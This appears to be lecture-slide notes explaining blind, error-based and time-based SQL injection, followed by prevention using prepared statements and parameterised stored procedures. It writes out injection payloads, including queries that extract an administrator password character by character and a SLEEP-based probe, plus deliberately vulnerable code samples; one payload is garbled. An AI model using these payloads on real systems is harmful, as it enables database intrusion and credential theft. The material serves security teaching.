

Blind Sql Injection

Blind SQL Injection

- Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

Blind SQL Injection

- Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response.
- This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

Blind SQL Injection

- Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
- SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
- SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND '1'='1
- SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND '1'='2

Example URL:

```
http://newspaper.com/items.php?id=2
```

sends the following query to the database:

```
SELECT title, description, body FROM items WHERE ID = 2
```

The attacker may then try to inject a query that returns 'false':

```
http://newspaper.com/items.php?id=2 and 1=2
```

Now the SQL query should look like this:

```
SELECT title, description, body FROM items WHERE ID = 2 and 1=2
```

If the web application is vulnerable to SQL Injection, then it probably will not return anything. To make sure, the attacker will inject a query that will return 'true':

```
http://newspaper.com/items.php?id=2 and 1=1
```

If the content of the page that returns 'true' is different than that of the page that returns 'false', then the attacker is able to distinguish when the executed query returns true or false.

Blind SQL Injection

- `SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm`
- `SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't`

Error Based SQL Injection

- Error-based SQL injection refers to cases where you're able to use error messages to either extract or infer sensitive data from the database, even in blind contexts.

Error Based SQL Injection

- `xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a`
- `xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a`
 - With the first input, the CASE expression evaluates to 'a', which does not cause any error.
 - With the second input, it evaluates to 1/0, which causes a divide-by-zero error.
- Using the same in the query
 - `xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING>Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a`

Time Based SQL Injection

- Time-based SQL injection is a type of blind SQL injection attack, where an attacker sends specific SQL queries that force the database to 'sleep' or pause for a specified period, thus confirming the vulnerability.
- This technique is used when the application is configured to suppress error messages but hasn't sufficiently mitigated the underlying SQL injection vulnerability.

Time Based SQL Injection

- To find the version of the database
- `id=984 AND IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)`

Preventing SQL Injection

- Prepared Statement

```
String query = "SELECT account_balance FROM user_data WHERE user_name =  
"  
    + request.getParameter("customerName");  
try {  
    Statement statement = connection.createStatement( ... );  
    ResultSet results = statement.executeQuery( query );  
}
```

Preventing SQL Injection

- Prepared Statement

- `String custname = request.getParameter("customerName");`
- `// Perform input validation to detect attacks`
- `String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";`
- `PreparedStatement pstmt = connection.prepareStatement( query );`
- `pstmt.setString( 1, custname);`
- `ResultSet results = pstmt.executeQuery( );`

Stored Procedure

- A stored procedure is a prepared SQL code that you can save, so the code can be reused over and over again.
 - CREATE PROCEDURE procedure_name
 - AS
 - sql_statement
 - GO;

- CREATE PROCEDURE GetUserDetailsUnsafe @Username NVARCHAR(100) AS BEGIN DECLARE @SQL NVARCHAR(4000)
- SET @SQL = 'SELECT UserID, Username, Email FROM Users WHERE Username = ''' + @Username + ''''
- EXEC(@SQL) END;

- CREATE PROCEDURE GetUserDetailsSafe @Username NVARCHAR(100) AS BEGIN DECLARE @SQL NVARCHAR(4000)
- SET @SQL = 'SELECT UserID, Username, Email FROM Users WHERE Username = @Username'
- EXEC sp_executesql @SQL, N'@Username NVARCHAR(100)', @Username END;

